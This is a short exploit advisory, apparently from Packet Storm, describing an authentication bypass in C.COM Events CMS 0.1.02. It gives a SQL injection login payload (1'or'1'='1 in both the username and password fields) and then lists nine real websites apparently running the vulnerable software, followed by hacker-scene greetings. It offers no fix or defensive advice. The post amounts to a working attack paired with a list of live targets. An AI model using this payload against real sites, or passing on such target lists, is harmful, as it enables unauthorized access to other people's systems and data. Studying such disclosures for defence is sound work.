C.COM Events CMS 0.1.02 SQL Injection / Authentication Bypass

2016-07-13T00:00:00
ID PACKETSTORM:137885
Type packetstorm
Reporter indoushka
Modified 2016-07-13T00:00:00

Description

                                        
                                            `========================================================================  
| # Title : C.COM 0.1.02 Events CMS authentication bypass vulnerability  
| # Author : indoushka  
| # email : indoushka4ever@gmail.com  
| # Tested on: windows 8.1 Français V.(Pro)  
| # Vendor : http://www.congresalgerie.com/  
========================================================================  
  
Auth By Pass :  
  
user : 1'or'1'='1  
pass : 1'or'1'='1  
  
http://www.sahgeed.com  
http://aolfdz.com  
http://sadiab-dz.com/  
http://samev-dz.com  
http://samidz.com  
http://sapediatrie-dz.com  
http://saonorl.com  
http://sacot-dz.com  
http://saetd-dz.com/  
  
Greetz :   
jericho http://attrition.org & http://www.osvdb.org/ * http://packetstormsecurity.com * Larry W. Cashdollar*  
Hussin-X *D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be *  
---------------------------------------------------------------------------------------------------------------  
`